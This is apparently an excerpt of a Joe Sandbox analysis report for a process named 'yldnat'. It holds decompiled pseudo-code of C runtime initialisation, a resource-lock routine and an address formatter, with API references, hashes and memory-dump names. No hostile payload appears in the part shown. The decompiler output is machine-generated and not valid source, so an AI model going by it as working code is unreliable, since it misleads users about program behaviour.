							if(_t119 == 0) {
								goto L21;
							}
							goto L20;
						}
					}
					goto L28;
				}
				_t86 = E013B2600(_t155, 0x13c3400, _t155 - 0x10, 0xfffffffe) | 0xffffffff;
				goto L49;
			}

0x013b38a8
0x013b38aa
0x013b38af
0x013b38b6
0x013b38be
0x013b38c1
0x013b38c5
0x013b38c6
0x013b38c7
0x013b38ce
0x013b38d0
0x013b38d5
0x013b38f2
0x013b38f7
0x013b38fd
0x013b3906
0x013b390c
0x013b390f
0x013b3912
0x013b391b
0x013b391e
0x013b3924
0x013b3927
0x013b392a
0x013b392d
0x013b3930
0x013b3930
0x013b393b
0x013b3946
0x013b3a7b
0x013b3a7d
0x013b3a7e
0x013b3a7e
0x013b3a80
0x013b3a80
0x013b3a86
0x00000000
0x00000000
0x013b3a91
0x013b3a97
0x013b3a9d
0x013b3ab1
0x013b3ab7
0x013b3abe
0x013b3ac3
0x013b3ac5
0x013b3ab9
0x013b3abb
0x013b3abb
0x013b3ac9
0x013b3acf
0x013b3ad5
0x013b3b23
0x013b3b29
0x013b3b2c
0x013b3b2e
0x013b3b35
0x013b3b3a
0x013b3b3a
0x00000000
0x013b3adb
0x013b3adc
0x013b3ae4
0x00000000
0x00000000
0x013b3ae9
0x013b3aeb
0x013b3af3
0x013b3b00
0x013b3b0b
0x013b3b12
0x013b3b16
0x013b3b1b
0x013b3b1e
0x00000000
0x013b3b1e
0x013b3b06
0x013b3b08
0x013b3b08
0x00000000
0x013b3b08
0x013b3af9
0x00000000
0x013b3af9
0x013b3aa3
0x013b3aa9
0x013b3b3d
0x013b3b3d
0x00000000
0x013b3b3d
0x013b3a9d
0x013b3b43
0x013b3b46
0x013b3b4b
0x013b3b4d
0x013b3b52
0x013b3b52
0x013b394c
0x013b3951
0x00000000
0x00000000
0x013b3957
0x013b3959
0x013b395c
0x013b395f
0x013b3964
0x013b396e
0x013b3970
0x013b3972
0x013b3972
0x013b3977
0x013b3978
0x013b397b
0x013b398d
0x013b398f
0x013b3994
0x013b3a2e
0x013b3a35
0x013b3a3b
0x013b3a4b
0x013b3a51
0x013b3a54
0x013b3a57
0x013b3a5b
0x013b3a61
0x013b3a64
0x013b3a67
0x013b3a6a
0x013b3a6a
0x013b3a6f
0x013b3a70
0x013b3a73
0x00000000
0x013b3a73
0x013b399a
0x013b39a0
0x00000000
0x013b39a0
0x013b39a3
0x013b39a5
0x013b39aa
0x013b39ab
0x013b39ae
0x013b39b1
0x013b39b9
0x013b39be
0x013b3a1b
0x013b3a1b
0x013b3a1c
0x013b3a22
0x013b3a23
0x013b3a26
0x013b3a29
0x00000000
0x013b39c4
0x013b39c4
0x013b39c8
0x00000000
0x00000000
0x013b39cc
0x013b39dc
0x013b39e9
0x013b39f0
0x013b39f5
0x013b39fc
0x013b3a06
0x013b3a0a
0x013b3a0f
0x013b3a12
0x013b3a15
0x013b3a18
0x013b3a18
0x00000000
0x013b3a18
0x013b39cf
0x013b39d5
0x013b39da
0x00000000
0x00000000
0x00000000
0x013b39da
0x013b39be
0x00000000
0x013b39b1
0x013b38ea
0x00000000

APIs

__lock.LIBCMT ref: 013B38B6

Part of subcall function 013B442F: __mtinitlocknum.LIBCMT ref: 013B4441
Part of subcall function 013B442F: EnterCriticalSection.KERNEL32(00000000,?,013B37AB,0000000D), ref: 013B445A

__calloc_crt.LIBCMT ref: 013B38C7

Part of subcall function 013B4869: __calloc_impl.LIBCMT ref: 013B4878

@_EH4_CallFilterFunc@8.LIBCMT ref: 013B38E2
GetStartupInfoW.KERNEL32(?,013C2260,00000064,013B1654,013C2190,00000014), ref: 013B393B
__calloc_crt.LIBCMT ref: 013B3986
GetFileType.KERNEL32 ref: 013B39CF

Memory Dump Source

Source File: 00000006.00000002.1033500166.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000006.00000002.1033491986.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033535506.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033548495.00000000013C3000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033567641.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_13b0000_yldnat.jbxd

Similarity

API ID: __calloc_crt$CallCriticalEnterFileFilterFunc@8InfoSectionStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 2772871689-0
Opcode ID: da754f77a62c1b6ce1f50bf49b53589930d17e64e9fb6347d91e4e545bfb3738
Instruction ID: 463fd28c463a446911fc3b38428eb700c8d6f8cb2cb158ca4cb62a813851a8ee
Opcode Fuzzy Hash: da754f77a62c1b6ce1f50bf49b53589930d17e64e9fb6347d91e4e545bfb3738
Instruction Fuzzy Hash: 2881A371D042658EDB24CF68D8C06E9BFF4BF05328B24426DD6A6ABBC1E7359402CB54

Uniqueness

Uniqueness Score: -1.00%

Function 008A0554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E008A0554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x009401c0;
									_push(_t144);
									_push(0);
									_t51 = L0085F8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = L008A4FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									L008B3F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									L008B3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E008E217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									L008B3F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									L008A3915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x009401c0;
												_push(_t138);
												_push(0);
												_t58 = L0085F8CC( *((intOrPtr*)(_t96 + 0x20)));
												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = L008A4FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												L008B3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												L008B3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E008E217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												L008B3F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												L008A3915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E00885384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = L0085F970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														L008A3915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = L0085F970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															L008A3915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = L0085F970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = L008A3915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E00885329(_t110, _t138);
																_t69 = E008853A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x008a055a
0x008a055d
0x008a0563
0x008a0566
0x008a05d8
0x008a05e2
0x008a05e5
0x00000000
0x008a05e7
0x008a05e7
0x008a05ea
0x008a05f3
0x008a05f3
0x008a0568
0x008a0568
0x008a0568
0x008a0569
0x008a0569
0x008a0569
0x008a056b
0x00000000
0x00000000
0x008c217f
0x008c2183
0x008c225b
0x008c225f
0x008c2189
0x008c218c
0x008c218f
0x008c2194
0x008c2199
0x008c219d
0x008c21a0
0x008c21a2
0x008c21ce
0x008c21ce
0x008c21ce
0x008c21d0
0x008c21d6
0x008c21de
0x008c21e2
0x008c21e8
0x008c21e9
0x008c21ec
0x008c21f1
0x008c21f6
0x00000000
0x00000000
0x008c21f8
0x008c21fb
0x008c2206
0x008c220b
0x008c220c
0x008c2217
0x008c2226
0x008c222b
0x008c222c
0x008c222f
0x008c2232
0x008c2235
0x008c2235
0x008c223a
0x008c223f
0x008c2241
0x008c2243
0x008c2248
0x008c2248
0x008c224d
0x008c224f
0x008c2262
0x008c2263
0x008c2268
0x008c2269
0x008c2269
0x008c2269
0x008c226d
0x00000000
0x00000000
0x008c2276
0x008c2279
0x008c227e
0x008c2283
0x008c2287
0x008c228a
0x008c228d
0x008c228f
0x008c22bc
0x008c22bc
0x008c22bc
0x008c22be
0x008c22c4
0x008c22cc
0x008c22d0
0x008c22d6
0x008c22d7
0x008c22da
0x008c22df
0x008c22e4
0x00000000
0x00000000
0x008c22e6
0x008c22e9
0x008c22f4
0x008c22f9
0x008c22fa
0x008c2305
0x008c2314
0x008c2319
0x008c231a
0x008c231d
0x008c2320
0x008c2323
0x008c2323
0x008c2328
0x008c232d
0x008c232f
0x008c2331
0x008c2336
0x008c2336
0x008c233b
0x008c233d
0x008c2350
0x008c2351
0x008c2356
0x008c2359
0x008c2359
0x008c235b
0x008c235d
0x00885367
0x0088536b
0x00885372
0x00000000
0x00000000
0x00000000
0x00000000
0x008c2363
0x008c2363
0x008c2369
0x008c236a
0x008c236c
0x008c2371
0x008c2373
0x00000000
0x008c2379
0x008c2379
0x008c237a
0x008c237f
0x008c237f
0x008c2385
0x008c2386
0x008c2389
0x008c238e
0x008c2390
0x00885378
0x0088537c
0x008c2396
0x008c2396
0x008c2397
0x008c239c
0x008c23a2
0x008c23a3
0x008c23a6
0x008c23ab
0x008c23ad
0x00000000
0x008c23b3
0x008c23b3
0x008c23b4
0x008c23b9
0x008c23ba
0x008c23ba
0x008c23bc
0x008c23bf
0x00000000
0x00000000
0x008b9153
0x008b9158
0x008b915a
0x008b915e
0x008b9160
0x00000000
0x008b9166
0x008b9166
0x008b9171
0x008b9176
0x008b9176
0x00000000
0x008b9160
0x008c23c6
0x008c23ce
0x008c23d7
0x008c23d7
0x008c23ad
0x008c2390
0x008c2373
0x008c233f
0x008c233f
0x00000000
0x008c233f
0x008c2291
0x008c2291
0x008c2293
0x008c2295
0x008c229a
0x008c22a1
0x008c22a3
0x008c22a7
0x008c22a9
0x00000000
0x00000000
0x008c22ab
0x008c22ad
0x008c22af
0x00000000
0x00000000
0x00000000
0x008c22af
0x008c22b1
0x008c22b4
0x008c22b4
0x008c22b6
0x008853be
0x008853be
0x008853be
0x008853c0
0x00000000
0x00000000
0x008853cb
0x008853ce
0x008853d0
0x008853d4
0x008853d6
0x00000000
0x008853d8
0x008853e3
0x008853ea
0x008853ea
0x00000000
0x008853d6
0x00000000
0x00000000
0x00000000
0x00000000
0x008c22b6
0x00000000
0x008c228f
0x008c2349
0x008c234d
0x008c2251
0x008c2251
0x00000000
0x008c2251
0x008c21a4
0x008c21a4
0x008c21a6
0x008c21a8
0x008c21ac
0x008c21b6
0x008c21b8
0x008c21bc
0x008c21be
0x00000000
0x00000000
0x008c21c0
0x008c21c2
0x008c21c4
0x00000000
0x00000000
0x00000000
0x008c21c4
0x008c21c6
0x008c21c6
0x008c21c8
0x00000000
0x00000000
0x00000000
0x00000000
0x008c21c8
0x008c21a2
0x00000000
0x008c2183
0x008a057b
0x008a057d
0x008a0581
0x008a0583
0x008c2178
0x00000000
0x008a0589
0x008a058f
0x008a058f
0x008a0583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008C2206

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 008C22FC
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 008C220E
RTL: Re-Waiting, xrefs: 008C223A, 008C2328
RTL: Resource at %p, xrefs: 008C221D, 008C230B

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 78c28a735a068ff64d625ba304aee8b126f87318016234abd6c2291446612c58
Instruction ID: 9904a52d0e11ce428d9b793c28d47eb6759510b5c8d57c211acc56f2d56a4574
Opcode Fuzzy Hash: 78c28a735a068ff64d625ba304aee8b126f87318016234abd6c2291446612c58
Instruction Fuzzy Hash: CB512531B002016BEB15DA18CC82FA673A9FF95720F25822DFD55DB3C6DA75EC418B91

Uniqueness

Uniqueness Score: -1.00%

Function 013B3815 Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E013B3815(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E013B1890(_t3);
				if(E013B4560() != 0) {
					_t6 = E013B4001(E013B35A6);
					 *0x13c350c = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E013B4869(1, 0x3bc);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E013B388B();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E013B405D( *0x13c350c, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E013B3762(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E013B388B();
					return 0;
				}
			}

APIs

__init_pointers.LIBCMT ref: 013B3815

Part of subcall function 013B1890: EncodePointer.KERNEL32(00000000,?,013B381A,013B163A,013C2190,00000014), ref: 013B1893
Part of subcall function 013B1890: __initp_misc_winsig.LIBCMT ref: 013B18AE
Part of subcall function 013B1890: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 013B4117
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 013B412B
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 013B413E
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 013B4151
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 013B4164
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 013B4177
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 013B418A
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 013B419D
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 013B41B0
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 013B41C3
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 013B41D6
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 013B41E9
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 013B41FC
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 013B420F
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 013B4222
Part of subcall function 013B1890: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 013B4235

__mtinitlocks.LIBCMT ref: 013B381A
__mtterm.LIBCMT ref: 013B3823

Part of subcall function 013B388B: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,013B3828,013B163A,013C2190,00000014), ref: 013B447A
Part of subcall function 013B388B: _free.LIBCMT ref: 013B4481
Part of subcall function 013B388B: DeleteCriticalSection.KERNEL32(013C3558,?,?,013B3828,013B163A,013C2190,00000014), ref: 013B44A3

__calloc_crt.LIBCMT ref: 013B3848
__initptd.LIBCMT ref: 013B386A
GetCurrentThreadId.KERNEL32(013B163A,013C2190,00000014), ref: 013B3871

Memory Dump Source

Source File: 00000006.00000002.1033500166.00000000013B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000006.00000002.1033491986.00000000013B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033535506.00000000013BE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033548495.00000000013C3000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1033567641.00000000013C7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_13b0000_yldnat.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: a3341522df69caadc8c04ee5c7168d8094e6b8cd2ca5b32baa230ad00c5bf104
Instruction ID: 4ff6e06c271ae31320a9a8c990d9df11fcff4c1183c2e4631f0cd89de2c6d58c
Opcode Fuzzy Hash: a3341522df69caadc8c04ee5c7168d8094e6b8cd2ca5b32baa230ad00c5bf104
Instruction Fuzzy Hash: 89F09032509632ADE239767D7CC16DA2E84EF1177CF20862EE761D8CD1FF2294414795

Uniqueness

Uniqueness Score: -1.00%

Function 008A14C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E008A14C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0x942088; // 0x75aef0bc
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E00897707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E008A13CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E00897707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E00897707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E00862340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E0086E1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x008a14c0
0x008a14cb
0x008a14d2
0x008a14d6
0x008a14da
0x008a14de
0x008a14e3
0x008a157a
0x008a157a
0x008a14f1
0x008a14f3
0x008cea0f
0x00000000
0x008cea15
0x00000000
0x008cea15
0x008a14f9
0x008a14f9
0x008a14fe
0x008a1504
0x008cea1a
0x008cea1f
0x008cea21
0x008cea22
0x008cea27
0x008cea2a
0x008cea2a
0x008a1515
0x008a1517
0x008a156d
0x008a1572
0x008a1575
0x008a1575
0x008a151e
0x008cea50
0x008cea55
0x008cea58
0x008cea58
0x008a152e
0x008a1531
0x008a1533
0x00000000
0x008a1535
0x008a1541
0x008a1549
0x008a1549
0x008a1533
0x008a14f3
0x008a1559

APIs

___swprintf_l.LIBCMT ref: 008CEA22

Part of subcall function 008A13CB: ___swprintf_l.LIBCMT ref: 008A146B
Part of subcall function 008A13CB: ___swprintf_l.LIBCMT ref: 008A1490

___swprintf_l.LIBCMT ref: 008A156D

Strings

]:%u, xrefs: 008CEA47
%%%u, xrefs: 008A1564

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: cc92d8ec2328f0aa864413295444bc83bc15c5e9656dca28e2289561b514dafc
Instruction ID: e644364c94771da54c6eac93dd1c5f7a26548947b63f74372b4729cd20dfdb2a
Opcode Fuzzy Hash: cc92d8ec2328f0aa864413295444bc83bc15c5e9656dca28e2289561b514dafc
Instruction Fuzzy Hash: 1D21C172D00229ABDF20EE58CC45AEA73BCFB91714F494465FC46D3640DB74EA588BE1

Uniqueness

Uniqueness Score: -1.00%

Function 013B12B8 Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E013B12B8(char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				char* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __esi;
				signed int _t74;
				signed int _t78;
				char _t81;
				signed int _t86;
				signed int _t88;
				signed int _t91;
				signed int _t94;
				signed int _t97;
				signed int _t98;
				char* _t99;
				signed int _t100;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				char* _t110;
				signed int _t113;
				signed int _t117;
				signed int _t119;
				void* _t120;

				_t99 = _a4;
				_t74 = _a8;
				_v8 = _t99;
				_v12 = _t74;
				if(_a12 == 0) {
					L5:
					return 0;
				}
				_t97 = _a16;
				if(_t97 == 0) {
					goto L5;
				}
				if(_t99 != 0) {
					_t119 = _a20;
					__eflags = _t119;
					if(_t119 == 0) {
						L9:
						__eflags = _a8 - 0xffffffff;
						if(_a8 != 0xffffffff) {
